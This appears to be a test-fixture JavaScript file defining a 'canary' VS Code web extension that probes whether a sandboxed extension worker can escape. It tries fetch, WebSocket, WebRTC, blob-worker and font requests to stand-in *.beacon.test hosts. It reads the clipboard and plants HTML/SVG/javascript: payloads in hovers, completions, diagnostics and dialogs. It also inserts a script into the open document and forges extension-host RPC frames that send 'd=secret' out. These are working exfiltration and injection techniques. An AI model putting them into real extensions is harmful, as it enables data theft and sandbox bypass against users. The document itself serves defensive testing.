| 1 | // La extensión canario del nivel 2 (parte B2): intenta salir por todos los |
| 2 | // canales que tiene una extensión y deja el resultado de cada intento. |
| 3 | // |
| 4 | // · canary.run(port): cada canal de red y de almacenamiento del worker |
| 5 | // (también fuentes con FontFace, Cache Storage y WebSocketStream), con |
| 6 | // nombres *.test únicos (la baliza los recibe si algo sale); |
| 7 | // · el «fuzzer» de campos: al activarse registra hover, autocompletado, |
| 8 | // firmas, acciones de código, diagnósticos y decoraciones con imágenes, |
| 9 | // enlaces, HTML, inyecciones de CSS, URIs javascript: y command: e iconos |
| 10 | // remotos en cada campo; |
| 11 | // · canary.ui: aviso, aviso modal, selector y cuadro de texto con lo mismo; |
| 12 | // · canary.edit: mete texto hostil en el documento activo (puerta de la |
| 13 | // vista previa); canary.clip: escribe en el portapapeles; |
| 14 | // · canary.open(url): openExternal (fase B: una sola visita, la aceptada); |
| 15 | // · canary.forge: tramas RPC hechas a mano por MessagePort.prototype |
| 16 | // ($openUri, dispose, una webview y un actor que no existe). |
| 17 | const base = { name: 'canary', publisher: 'elffuss-test', version: '2.0.0', displayName: 'X2 canary (full)', license: 'MIT', engines: { vscode: '^1.80.0' }, browser: './extension.js' }; |
| 18 | |
| 19 | export const CANARY_FULL = { |
| 20 | manifest: { |
| 21 | ...base, |
| 22 | activationEvents: ['*'], |
| 23 | contributes: { |
| 24 | commands: ['run', 'report', 'ui', 'edit', 'clip', 'open', 'forge'].map(c => ({ command: 'canary.' + c, title: 'Canary ' + c, category: 'X2' })), |
| 25 | }, |
| 26 | }, |
| 27 | files: { |
| 28 | 'extension.js': String.raw`const vscode = require('vscode'); |
| 29 | const results = []; |
| 30 | const B = (n, scheme) => (scheme || 'http') + '://' + n + '.beacon.test/x2-canary/' + n; |
| 31 | const tryIt = async (channel, fn) => { |
| 32 | try { const r = await fn(); results.push({ channel, outcome: 'ALLOWED', detail: String(r).slice(0, 200) }); } |
| 33 | catch (e) { results.push({ channel, outcome: 'blocked', detail: String(e && (e.message || e)).slice(0, 200) }); } |
| 34 | }; |
| 35 | const timeout = (ms, what) => new Promise((_, rej) => setTimeout(() => rej(new Error(what + ' timed out')), ms)); |
| 36 | const HOSTILE = '**canary**   [l](https://md-link.beacon.test/l) ' + |
| 37 | '<img src="http://md-html.beacon.test/h.png"> <a href="https://md-a.beacon.test/">a</a> <style>@import url(http://md-css.beacon.test/s.css)</style> ' + |
| 38 | 'https://md-auto.beacon.test/auto [c](command:workbench.action.reloadWindow) [j](javascript:alert(1)) <svg onload="fetch(\'http://md-svg.beacon.test/\')">'; |
| 39 | const mdHostile = () => { const m = new vscode.MarkdownString(HOSTILE); m.isTrusted = true; m.supportHtml = true; m.supportThemeIcons = true; return m; }; |
| 40 | |
| 41 | async function run(codePort, sandboxPort) { |
| 42 | results.length = 0; |
| 43 | await tryIt('fetch-http', () => fetch(B('fetch'), { mode: 'no-cors' }).then(r => r.type)); |
| 44 | await tryIt('fetch-https', () => fetch(B('fetchs', 'https'), { mode: 'no-cors' }).then(r => r.type)); |
| 45 | await tryIt('fetch-request', () => fetch(new Request(B('request'), { mode: 'no-cors', credentials: 'include' })).then(r => r.type)); |
| 46 | await tryIt('xhr', () => new Promise((res, rej) => { const x = new XMLHttpRequest(); x.open('GET', B('xhr')); x.onload = () => res(x.status); x.onerror = () => rej(new Error('xhr error')); x.send(); })); |
| 47 | await tryIt('sendBeacon', () => { if (!self.navigator.sendBeacon) throw new Error('no sendBeacon'); return self.navigator.sendBeacon(B('beacon'), 'x'); }); |
| 48 | await tryIt('fetchLater', () => { if (typeof fetchLater !== 'function') throw new Error('no fetchLater'); return fetchLater(B('later')); }); |
| 49 | await tryIt('websocket', () => Promise.race([new Promise((res, rej) => { const w = new WebSocket(B('ws', 'ws')); w.onopen = () => res('open'); w.onerror = () => rej(new Error('ws error')); }), timeout(3000, 'ws')])); |
| 50 | await tryIt('websocket-tls', () => Promise.race([new Promise((res, rej) => { const w = new WebSocket(B('wss', 'wss')); w.onopen = () => res('open'); w.onerror = () => rej(new Error('wss error')); }), timeout(3000, 'wss')])); |
| 51 | await tryIt('eventsource', () => Promise.race([new Promise((res, rej) => { if (!self.EventSource) return rej(new Error('no EventSource')); const s = new EventSource(B('sse')); s.onopen = () => res('open'); s.onerror = () => { s.close(); rej(new Error('sse error')); }; }), timeout(3000, 'sse')])); |
| 52 | await tryIt('webtransport', () => { if (typeof WebTransport !== 'function') throw new Error('no WebTransport'); const t = new WebTransport(B('wt', 'https')); t.closed.catch(() => {}); return Promise.race([t.ready.then(() => 'ready'), timeout(3000, 'wt')]); }); |
| 53 | await tryIt('import', () => import(B('import'))); |
| 54 | await tryIt('importScripts', () => importScripts(B('importscripts'))); |
| 55 | await tryIt('worker-url', () => new Promise((res, rej) => { try { const w = new Worker(B('worker')); w.onerror = ev => { try { ev.preventDefault(); } catch (x) { /* — */ } rej(new Error('worker error')); }; setTimeout(() => res('created'), 1000); } catch (e) { rej(e); } })); |
| 56 | await tryIt('worker-blob-fetch', () => new Promise((res, rej) => { |
| 57 | try { |
| 58 | const src = 'fetch(' + JSON.stringify(B('nested')) + ',{mode:"no-cors"}).then(r=>postMessage("ALLOWED "+r.type),e=>postMessage("blocked "+e.message))'; |
| 59 | const w = new Worker(URL.createObjectURL(new Blob([src], { type: 'text/javascript' }))); |
| 60 | w.onmessage = e => (String(e.data).startsWith('ALLOWED') ? res(e.data) : rej(new Error(e.data))); |
| 61 | w.onerror = ev => { try { ev.preventDefault(); } catch (x) { /* — */ } rej(new Error('nested worker error')); }; |
| 62 | setTimeout(() => rej(new Error('nested worker silent')), 3000); |
| 63 | } catch (e) { rej(e); } |
| 64 | })); |
| 65 | await tryIt('webrtc', () => { if (typeof RTCPeerConnection === 'undefined') throw new Error('no RTCPeerConnection'); return new RTCPeerConnection({ iceServers: [{ urls: 'stun:stun.beacon.test:3478' }] }); }); |
| 66 | await tryIt('websocketstream', () => { if (typeof WebSocketStream !== 'function') throw new Error('no WebSocketStream'); const w = new WebSocketStream(B('wsstream', 'ws')); return Promise.race([w.opened.then(() => 'open'), timeout(3000, 'wsstream')]); }); |
| 67 | await tryIt('fontface', () => { if (typeof FontFace !== 'function' || !self.fonts) throw new Error('no FontFace in a worker'); const f = new FontFace('canary', 'url(' + B('font') + ')'); self.fonts.add(f); return Promise.race([f.load().then(() => 'loaded'), timeout(3000, 'font')]); }); |
| 68 | await tryIt('caches-add', async () => { if (!self.caches) throw new Error('no caches'); const c = await caches.open('canary'); await c.add(B('cacheadd')); return 'added'; }); |
| 69 | await tryIt('open-vsx', () => fetch('https://open-vsx.org/api/-/search?query=x2-canary-leak', { mode: 'no-cors' }).then(r => r.type)); |
| 70 | await tryIt('code-server', () => fetch('http://127.0.0.1:' + codePort + '/js/main.js?x2-canary-leak=1', { mode: 'no-cors' }).then(r => r.type)); |
| 71 | await tryIt('sandbox-host', () => fetch('http://localhost:' + sandboxPort + '/x2/v1/sandbox.html?x2-canary-leak=1', { mode: 'no-cors' }).then(r => r.type)); |
| 72 | await tryIt('indexedDB', () => (indexedDB.databases ? indexedDB.databases() : Promise.resolve([])).then(d => { const names = d.map(x => x.name); if (names.some(n => /elffuss|canary/.test(n))) throw new Error('SAW CODE STORAGE: ' + names.join(',')); return 'own: ' + names.join(','); })); |
| 73 | await tryIt('opfs', async () => { const root = await navigator.storage.getDirectory(); const names = []; for await (const k of root.keys()) names.push(k); if (names.some(n => /canary|\.js$|\.txt$|\.html$/.test(n))) throw new Error('SAW CODE OPFS: ' + names.join(',')); return 'own: ' + names.join(','); }); |
| 74 | await tryIt('localStorage', () => { if (typeof localStorage === 'undefined') return 'own: none in a worker'; const v = localStorage.getItem('elffuss-canary'); if (v) throw new Error('SAW CODE localStorage'); return 'own: empty'; }); |
| 75 | await tryIt('cookie', () => { const c = typeof document !== 'undefined' ? document.cookie : ''; if (/elffuss_canary/.test(c)) throw new Error('SAW CODE COOKIE'); return 'own: none'; }); |
| 76 | await tryIt('caches', async () => { if (!self.caches) return 'own: no caches'; const k = await caches.keys(); return 'own: ' + k.join(','); }); |
| 77 | await tryIt('clipboard-navigator', async () => { if (!navigator.clipboard) throw new Error('no clipboard'); return navigator.clipboard.readText(); }); |
| 78 | await tryIt('clipboard-api', () => vscode.env.clipboard.readText().then(t => { if (t) throw new Error('READ ' + t.length + ' chars'); return 'own: read 0 chars'; })); |
| 79 | await tryIt('fs-http', () => vscode.workspace.fs.readFile(vscode.Uri.parse(B('fs'))).then(b => b.length)); |
| 80 | await tryIt('openTextDocument-http', () => vscode.workspace.openTextDocument(vscode.Uri.parse(B('doc'))).then(d => d.getText().length)); |
| 81 | await tryIt('asExternalUri', () => vscode.env.asExternalUri(vscode.Uri.parse(B('asexternal'))).then(u => 'own: unchanged ' + (u.toString() === vscode.Uri.parse(B('asexternal')).toString()))); |
| 82 | await tryIt('openExternal', () => vscode.env.openExternal(vscode.Uri.parse(B('open'))).then(ok => { if (ok) throw new Error('OPENED'); return 'own: refused'; })); |
| 83 | await tryIt('saveAll', () => vscode.workspace.saveAll()); |
| 84 | return results; |
| 85 | } |
| 86 | |
| 87 | // ── el fuzzer de campos: todo lo que la página pinta, con veneno ── |
| 88 | function registerFuzzer(context) { |
| 89 | const sel = [{ language: 'javascript' }, { language: 'html' }, { language: 'plaintext' }]; |
| 90 | context.subscriptions.push( |
| 91 | vscode.languages.registerHoverProvider(sel, { provideHover() { return new vscode.Hover([mdHostile(), 'plain <img src="http://hover-str.beacon.test/s.png">']); } }), |
| 92 | vscode.languages.registerCompletionItemProvider(sel, { |
| 93 | provideCompletionItems() { |
| 94 | const it = new vscode.CompletionItem('zzcanary<img src=x onerror=alert(1)>', vscode.CompletionItemKind.Text); |
| 95 | it.filterText = 'zzcanary'; it.sortText = '!'; it.preselect = true; |
| 96 | it.documentation = mdHostile(); |
| 97 | it.detail = 'detail <img src="http://detail.beacon.test/d.png">'; |
| 98 | it.insertText = new vscode.SnippetString('canary \${CLIPBOARD} \${1:x}'); |
| 99 | it.command = { command: 'canary.open', title: 'open', arguments: [B('completioncmd')] }; |
| 100 | return [it]; |
| 101 | }, |
| 102 | }, '.'), |
| 103 | vscode.languages.registerSignatureHelpProvider(sel, { |
| 104 | provideSignatureHelp() { |
| 105 | const s = new vscode.SignatureInformation('canary(a, b)', mdHostile()); |
| 106 | s.parameters = [new vscode.ParameterInformation('a', mdHostile())]; |
| 107 | const h = new vscode.SignatureHelp(); h.signatures = [s]; h.activeSignature = 0; h.activeParameter = 0; return h; |
| 108 | }, |
| 109 | }, '(', ','), |
| 110 | vscode.languages.registerCodeActionsProvider(sel, { |
| 111 | provideCodeActions() { |
| 112 | const a = new vscode.CodeAction('Canary <b>fix</b> ', vscode.CodeActionKind.QuickFix); |
| 113 | a.command = { command: 'canary.open', title: 'open', arguments: [B('actioncmd')] }; |
| 114 | return [a]; |
| 115 | }, |
| 116 | }), |
| 117 | ); |
| 118 | const diags = vscode.languages.createDiagnosticCollection('canary'); |
| 119 | context.subscriptions.push(diags); |
| 120 | const deco = vscode.window.createTextEditorDecorationType({ |
| 121 | backgroundColor: 'url(http://deco-bg.beacon.test/a.png)', color: 'red; background-image: url(http://deco-inj.beacon.test/b.png)', |
| 122 | border: '1px solid red; background: url(http://deco-border.beacon.test/c.png)', textDecoration: 'none; background:url(http://deco-td.beacon.test/d.png)', |
| 123 | fontFamily: 'x; src: url(http://deco-font.beacon.test/f.woff)', cursor: 'url(http://deco-cursor.beacon.test/e.png), auto', |
| 124 | gutterIconPath: vscode.Uri.parse('http://deco-gutter.beacon.test/g.png'), |
| 125 | before: { contentText: 'canary\\"; background: url(http://deco-content.beacon.test/h.png)', contentIconPath: vscode.Uri.parse('http://deco-icon.beacon.test/i.png') }, |
| 126 | }); |
| 127 | context.subscriptions.push(deco); |
| 128 | const paint = ed => { |
| 129 | if (!ed) return; |
| 130 | const d = ed.document; |
| 131 | const dg = new vscode.Diagnostic(new vscode.Range(0, 0, 0, 1), 'canary  <img src="http://diag-html.beacon.test/h.png">', vscode.DiagnosticSeverity.Warning); |
| 132 | dg.code = { value: 'CANARY', target: vscode.Uri.parse(B('diagcode')) }; |
| 133 | dg.relatedInformation = [new vscode.DiagnosticRelatedInformation(new vscode.Location(vscode.Uri.parse(B('related')), new vscode.Position(0, 0)), 'related ')]; |
| 134 | diags.set(d.uri, [dg]); |
| 135 | const ranges = []; |
| 136 | for (let i = 0; i < Math.min(d.lineCount, 50); i++) ranges.push({ range: new vscode.Range(i, 0, i, 1), hoverMessage: mdHostile(), |
| 137 | renderOptions: { after: { contentText: 'x', color: 'url(http://deco-ro.beacon.test/r.png)' } } }); |
| 138 | ed.setDecorations(deco, ranges); |
| 139 | }; |
| 140 | paint(vscode.window.activeTextEditor); |
| 141 | context.subscriptions.push(vscode.window.onDidChangeActiveTextEditor(paint)); |
| 142 | } |
| 143 | |
| 144 | // ── tramas RPC hechas a mano ── |
| 145 | // Se observa por qué puerto y con qué rpcId salen las llamadas legítimas de |
| 146 | // este mismo worker, y luego se mandan tramas propias por ese puerto. |
| 147 | const seen = new Map(); // método → rpcId |
| 148 | let rpcPort = null, nativePost = null; |
| 149 | function watchFrames() { |
| 150 | if (nativePost) return; |
| 151 | nativePost = MessagePort.prototype.postMessage; |
| 152 | MessagePort.prototype.postMessage = function (data, transfer) { |
| 153 | try { |
| 154 | if (data instanceof ArrayBuffer && data.byteLength > 7) { |
| 155 | const b = new Uint8Array(data); |
| 156 | if (b[0] === 1 || b[0] === 2 || b[0] === 3 || b[0] === 4) { |
| 157 | const rpcId = b[5], len = b[6]; |
| 158 | const method = new TextDecoder().decode(b.subarray(7, 7 + len)); |
| 159 | if (!seen.has(method)) seen.set(method, rpcId); |
| 160 | rpcPort = this; |
| 161 | } |
| 162 | } |
| 163 | } catch (e) { /* — */ } |
| 164 | return nativePost.call(this, data, transfer); |
| 165 | }; |
| 166 | } |
| 167 | function frame(req, rpcId, method, argsJson) { |
| 168 | const enc = new TextEncoder(); |
| 169 | const m = enc.encode(method), a = enc.encode(argsJson); |
| 170 | const buf = new Uint8Array(1 + 4 + 1 + 1 + m.length + 4 + a.length); |
| 171 | const v = new DataView(buf.buffer); |
| 172 | let o = 0; |
| 173 | buf[o++] = 1; v.setUint32(o, req); o += 4; buf[o++] = rpcId; buf[o++] = m.length; buf.set(m, o); o += m.length; |
| 174 | v.setUint32(o, a.length); o += 4; buf.set(a, o); |
| 175 | return buf.buffer; |
| 176 | } |
| 177 | async function forge() { |
| 178 | // llamadas legítimas para aprender los rpcId de MainThreadCommands, MainThreadWindow y MainThreadWebviewPanels |
| 179 | const tmp = vscode.commands.registerCommand('canary.tmp' + Date.now(), () => 0); tmp.dispose(); |
| 180 | try { const p = vscode.window.createWebviewPanel('canary', 'canary', vscode.ViewColumn.One, {}); p.dispose(); } catch (e) { /* — */ } |
| 181 | await new Promise(r => setTimeout(r, 300)); |
| 182 | const out = { learned: Object.fromEntries(seen), sent: [] }; |
| 183 | if (!rpcPort) { out.error = 'no port seen'; return out; } |
| 184 | let req = 0x7fff0000; |
| 185 | const send = (rpcId, method, args) => { nativePost.call(rpcPort, frame(req++, rpcId, method, JSON.stringify(args)), []); out.sent.push(method + '@' + rpcId); }; |
| 186 | if (seen.has('$registerCommand')) send(seen.get('$registerCommand'), 'dispose', []); |
| 187 | if (seen.has('$createWebviewPanel')) send(seen.get('$createWebviewPanel'), '$createWebviewPanel', []); |
| 188 | if (seen.has('$unregisterCommand')) send(seen.get('$unregisterCommand'), 'constructor', []); |
| 189 | send(250, '$anything', []); |
| 190 | const forgedUrl = 'https://forged.beacon.test/rpc?d=secret'; |
| 191 | if (seen.has('$openUri')) send(seen.get('$openUri'), '$openUri', [{ $mid: 1, scheme: 'https', authority: 'forged.beacon.test', path: '/rpc', query: 'd=secret' }, forgedUrl, {}]); |
| 192 | out.forgedUrl = forgedUrl; |
| 193 | return out; |
| 194 | } |
| 195 | |
| 196 | exports.activate = function (context) { |
| 197 | watchFrames(); |
| 198 | registerFuzzer(context); |
| 199 | const reg = (id, fn) => context.subscriptions.push(vscode.commands.registerCommand(id, fn)); |
| 200 | reg('canary.run', async (codePort, sandboxPort) => JSON.stringify(await run(Number(codePort) || 80, Number(sandboxPort) || 80))); |
| 201 | reg('canary.report', () => JSON.stringify(results)); |
| 202 | reg('canary.ui', async () => { |
| 203 | const out = {}; |
| 204 | out.info = await vscode.window.showInformationMessage('canary toast ' + HOSTILE, 'Open <b>it</b>', 'command:workbench.action.reloadWindow'); |
| 205 | out.modal = await vscode.window.showWarningMessage('canary modal <img src="http://modal.beacon.test/m.png">', { modal: true, detail: HOSTILE }, 'OK'); |
| 206 | out.pick = await vscode.window.showQuickPick([ |
| 207 | { label: '$(globe) canary <img src="http://pick.beacon.test/p.png">', description: '[d](https://pick-d.beacon.test/)', detail: HOSTILE, iconPath: vscode.Uri.parse('http://pick-icon.beacon.test/i.png') }, |
| 208 | { label: 'second' }], { placeHolder: 'canary <b>pick</b>' }); |
| 209 | out.input = await vscode.window.showInputBox({ prompt: 'canary ' + HOSTILE, value: 'x' }); |
| 210 | await vscode.window.withProgress({ location: vscode.ProgressLocation.Notification, title: 'canary ' }, async p => { p.report({ message: '[m](https://progress-m.beacon.test/)' }); }); |
| 211 | return JSON.stringify(out); |
| 212 | }); |
| 213 | reg('canary.edit', async () => { |
| 214 | const ed = vscode.window.activeTextEditor; |
| 215 | if (!ed) return 'no-editor'; |
| 216 | const end = ed.document.lineAt(ed.document.lineCount - 1).range.end; |
| 217 | await ed.edit(b => b.insert(end, '\n<img src="http://preview.beacon.test/p.png"><script>fetch("http://preview-script.beacon.test/")</script>\n')); |
| 218 | return 'edited'; |
| 219 | }); |
| 220 | reg('canary.clip', async () => { await vscode.env.clipboard.writeText('canary clipboard'); return 'written'; }); |
| 221 | reg('canary.open', async url => String(await vscode.env.openExternal(vscode.Uri.parse(String(url))))); |
| 222 | reg('canary.forge', async () => JSON.stringify(await forge())); |
| 223 | }; |
| 224 | `, |
| 225 | }, |
| 226 | }; |